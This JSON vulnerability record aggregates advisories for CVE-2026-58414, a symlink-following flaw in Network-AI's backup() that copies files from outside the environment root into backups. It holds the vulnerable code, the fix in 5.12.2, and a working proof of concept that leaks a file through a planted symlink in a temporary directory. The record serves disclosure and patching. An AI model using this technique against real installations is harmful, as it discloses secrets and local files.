{"id":"CVE-2026-58414","aliases":["EUVD-2026-46016","GHSA-6x2m-p4xp-wg22"],"status":"published","title":"Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.backup()` recursively collects files using `_collectBackupFiles()`. `_collectBackupFiles()` uses `statSync(full)`, which follows symlinks. If `data/\u003cenv\u003e` contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into `data/\u003cenv\u003e/.backups/\u003cbackupId\u003e/`. An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. The issue is fixed in v5.12.2. `_collectBackupFiles()` now uses `lstatSync` instead of `statSync` and skips any entry where `isSymbolicLink()` is true. Symlinks are never traversed, so `backup()` can no longer follow a link out of the environment root and copy external files into a backup artifact.","severity":{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00188,"percentile":0.08474,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22","CWE-59"],"published":"2026-06-19T21:42:36Z","modified":"2026-10-28T02:31:08Z","fixes":[{"ecosystem":"npm","package":"network-ai","fixed_in":["5.12.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"network-ai","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"5.12.1"},{"fixed":"5.12.2"}]}]},{"source":"osv","ecosystem":"npm","package":"network-ai","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.12.2"}]}]}],"products":[{"vendor":"jovancoding","product":"network-ai"},{"vendor":"network-ai","product":"network-ai"}],"references":[{"url":"https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-6x2m-p4xp-wg22","tags":["x_refsource_CONFIRM","exploit","Exploit","Patch","Vendor Advisory","advisory","web"]},{"url":"https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2","tags":["x_refsource_MISC","Patch","Release Notes","web"]},{"url":"https://github.com/advisories/GHSA-6x2m-p4xp-wg22"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/58xxx/CVE-2026-58414.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-58414","tags":["advisory"]},{"url":"https://github.com/Jovancoding/Network-AI","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-58414","title":"Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.backup()` recursively collects files using `_collectBackupFiles()`. `_collectBackupFiles()` uses `statSync(full)`, which follows symlinks. If `data/\u003cenv\u003e` contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into `data/\u003cenv\u003e/.backups/\u003cbackupId\u003e/`. An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. The issue is fixed in v5.12.2. `_collectBackupFiles()` now uses `lstatSync` instead of `statSync` and skips any entry where `isSymbolicLink()` is true. Symlinks are never traversed, so `backup()` can no longer follow a link out of the environment root and copy external files into a backup artifact.","status":"published","published":"2026-07-20T16:28:29.809Z","modified":"2026-07-20T19:00:05.188Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T13:47:39.876248Z"}],"euvd":[{"id":"EUVD-2026-46016","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.backup()` recursively collects files using `_collectBackupFiles()`. `_collectBackupFiles()` uses `statSync(full)`, which follows symlinks. If `data/\u003cenv\u003e` contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into `data/\u003cenv\u003e/.backups/\u003cbackupId\u003e/`. An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. The issue is fixed in v5.12.2. `_collectBackupFiles()` now uses `lstatSync` instead of `statSync` and skips any entry where `isSymbolicLink()` is true. Symlinks are never traversed, so `backup()` can no longer follow a link out of the environment root and copy external files into a backup artifact.","status":"published","published":"2026-07-20T16:28:29Z","modified":"2026-07-20T19:00:05Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T18:19:48.530346Z"}],"ghsa":[{"id":"GHSA-6x2m-p4xp-wg22","title":"Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups","description":"### Summary\n`EnvironmentManager.backup()` recursively collects files using `_collectBackupFiles()`. `_collectBackupFiles()` uses `statSync(full)`, which follows symlinks. If `data/\u003cenv\u003e` contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into `data/\u003cenv\u003e/.backups/\u003cbackupId\u003e/`.\n\nAn attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. Confirmed in Network-AI 5.12.1.\n\n### Details\n`backup()` collects file paths and copies them into the backup directory:\n\n```ts\nconst files = this._collectBackupFiles(envDir);\nfor (const rel of files) {\n  const src = join(envDir, rel);\n  const dst = join(backupPath, rel);\n  mkdirSync(join(backupPath, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });\n  try { copyFileSync(src, dst); } catch { /* skip unreadable */ }\n}\n```\n\n`_collectBackupFiles()` follows symlinked directories because it calls `statSync()`, not `lstatSync()`:\n\n```ts\nconst info = statSync(full);\nif (info.isDirectory()) {\n  walk(full, rel);\n} else {\n  results.push(rel);\n}\n```\n\nDefault CLI reachability exists through `network-ai env backup create --env \u003cenv\u003e`. `backup()` also runs automatically before promotion and restore operations.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:435-460` — backup copy logic.\n- `lib/env-manager.ts:596-617` — symlink-following `_collectBackupFiles()`.\n- `bin/cli.ts:413-420` — default CLI exposes backup creation.\n- `lib/env-manager.ts:294-297` and `483-484` — backup also runs before promote/restore.\n\n### PoC\nThis PoC uses only temporary files. It creates a symlink inside `data/dev` pointing to an external directory, then runs `backup('dev')` and observes that the external file is copied into the backup:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - \u003c\u003c'TS'\nconst { EnvironmentManager } = require('./lib/env-manager');\nconst fs = require('fs');\nconst path = require('path');\nconst base = process.env.TMPBASE;\nconst data = path.join(base, 'data');\nconst outside = path.join(base, 'outside');\n\nfs.mkdirSync(outside, { recursive: true });\nfs.writeFileSync(path.join(outside, 'secret.txt'), 'secret-through-symlink');\n\nconst mgr = new EnvironmentManager(data, {\n  chain: ['dev', 'st'],\n  gates: { dev: 'auto', st: 'auto' },\n});\n\nmgr.init('dev');\nfs.symlinkSync(outside, path.join(data, 'dev', 'linked-outside'), 'dir');\n\nconst result = mgr.backup('dev');\nconst copied = path.join(result.path, 'linked-outside', 'secret.txt');\n\nconsole.log(JSON.stringify({\n  copied: fs.existsSync(copied),\n  content: fs.readFileSync(copied, 'utf8'),\n}, null, 2));\n\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result: `copied` is `true` and `content` is `secret-through-symlink`.\n\n### Impact\nAn attacker who can place a symlink in `data/\u003cenv\u003e` can cause backup creation to copy arbitrary readable files from outside the environment root into `data/\u003cenv\u003e/.backups/\u003cbackupId\u003e/`. This can disclose secrets or local files to any actor/process that can later read or export Network-AI backup artifacts. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance.\n\n`_collectBackupFiles()` now uses `lstatSync` instead of `statSync` and skips any entry where `isSymbolicLink()` is true. Symlinks are never traversed, so `backup()` can no longer follow a link out of the environment root and copy external files into a backup artifact.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.","status":"published","published":"2026-06-19T21:42:36Z","modified":"2026-06-19T21:42:40Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T14:40:31.656952Z"}],"nvd":[{"id":"CVE-2026-58414","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.backup()` recursively collects files using `_collectBackupFiles()`. `_collectBackupFiles()` uses `statSync(full)`, which follows symlinks. If `data/\u003cenv\u003e` contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into `data/\u003cenv\u003e/.backups/\u003cbackupId\u003e/`. An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. The issue is fixed in v5.12.2. `_collectBackupFiles()` now uses `lstatSync` instead of `statSync` and skips any entry where `isSymbolicLink()` is true. Symlinks are never traversed, so `backup()` can no longer follow a link out of the environment root and copy external files into a backup artifact.","status":"published","published":"2026-07-20T17:18:15.72Z","modified":"2026-10-24T20:10:00.137Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T14:12:31.024898Z"}],"osv":[{"id":"CVE-2026-58414","title":"Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.backup()` recursively collects files using `_collectBackupFiles()`. `_collectBackupFiles()` uses `statSync(full)`, which follows symlinks. If `data/\u003cenv\u003e` contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into `data/\u003cenv\u003e/.backups/\u003cbackupId\u003e/`. An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. The issue is fixed in v5.12.2. `_collectBackupFiles()` now uses `lstatSync` instead of `statSync` and skips any entry where `isSymbolicLink()` is true. Symlinks are never traversed, so `backup()` can no longer follow a link out of the environment root and copy external files into a backup artifact.","status":"published","published":"2026-07-20T16:28:29.809Z","modified":"2026-10-28T02:31:08.833062823Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T15:45:12.496548Z"},{"id":"GHSA-6x2m-p4xp-wg22","title":"Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups","description":"### Summary\n`EnvironmentManager.backup()` recursively collects files using `_collectBackupFiles()`. `_collectBackupFiles()` uses `statSync(full)`, which follows symlinks. If `data/\u003cenv\u003e` contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into `data/\u003cenv\u003e/.backups/\u003cbackupId\u003e/`.\n\nAn attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. Confirmed in Network-AI 5.12.1.\n\n### Details\n`backup()` collects file paths and copies them into the backup directory:\n\n```ts\nconst files = this._collectBackupFiles(envDir);\nfor (const rel of files) {\n  const src = join(envDir, rel);\n  const dst = join(backupPath, rel);\n  mkdirSync(join(backupPath, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });\n  try { copyFileSync(src, dst); } catch { /* skip unreadable */ }\n}\n```\n\n`_collectBackupFiles()` follows symlinked directories because it calls `statSync()`, not `lstatSync()`:\n\n```ts\nconst info = statSync(full);\nif (info.isDirectory()) {\n  walk(full, rel);\n} else {\n  results.push(rel);\n}\n```\n\nDefault CLI reachability exists through `network-ai env backup create --env \u003cenv\u003e`. `backup()` also runs automatically before promotion and restore operations.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:435-460` — backup copy logic.\n- `lib/env-manager.ts:596-617` — symlink-following `_collectBackupFiles()`.\n- `bin/cli.ts:413-420` — default CLI exposes backup creation.\n- `lib/env-manager.ts:294-297` and `483-484` — backup also runs before promote/restore.\n\n### PoC\nThis PoC uses only temporary files. It creates a symlink inside `data/dev` pointing to an external directory, then runs `backup('dev')` and observes that the external file is copied into the backup:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - \u003c\u003c'TS'\nconst { EnvironmentManager } = require('./lib/env-manager');\nconst fs = require('fs');\nconst path = require('path');\nconst base = process.env.TMPBASE;\nconst data = path.join(base, 'data');\nconst outside = path.join(base, 'outside');\n\nfs.mkdirSync(outside, { recursive: true });\nfs.writeFileSync(path.join(outside, 'secret.txt'), 'secret-through-symlink');\n\nconst mgr = new EnvironmentManager(data, {\n  chain: ['dev', 'st'],\n  gates: { dev: 'auto', st: 'auto' },\n});\n\nmgr.init('dev');\nfs.symlinkSync(outside, path.join(data, 'dev', 'linked-outside'), 'dir');\n\nconst result = mgr.backup('dev');\nconst copied = path.join(result.path, 'linked-outside', 'secret.txt');\n\nconsole.log(JSON.stringify({\n  copied: fs.existsSync(copied),\n  content: fs.readFileSync(copied, 'utf8'),\n}, null, 2));\n\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result: `copied` is `true` and `content` is `secret-through-symlink`.\n\n### Impact\nAn attacker who can place a symlink in `data/\u003cenv\u003e` can cause backup creation to copy arbitrary readable files from outside the environment root into `data/\u003cenv\u003e/.backups/\u003cbackupId\u003e/`. This can disclose secrets or local files to any actor/process that can later read or export Network-AI backup artifacts. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance.\n\n`_collectBackupFiles()` now uses `lstatSync` instead of `statSync` and skips any entry where `isSymbolicLink()` is true. Symlinks are never traversed, so `backup()` can no longer follow a link out of the environment root and copy external files into a backup artifact.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.","status":"published","published":"2026-06-19T21:42:36Z","modified":"2026-07-21T03:56:45.909044072Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T15:46:40.308826Z"}]}}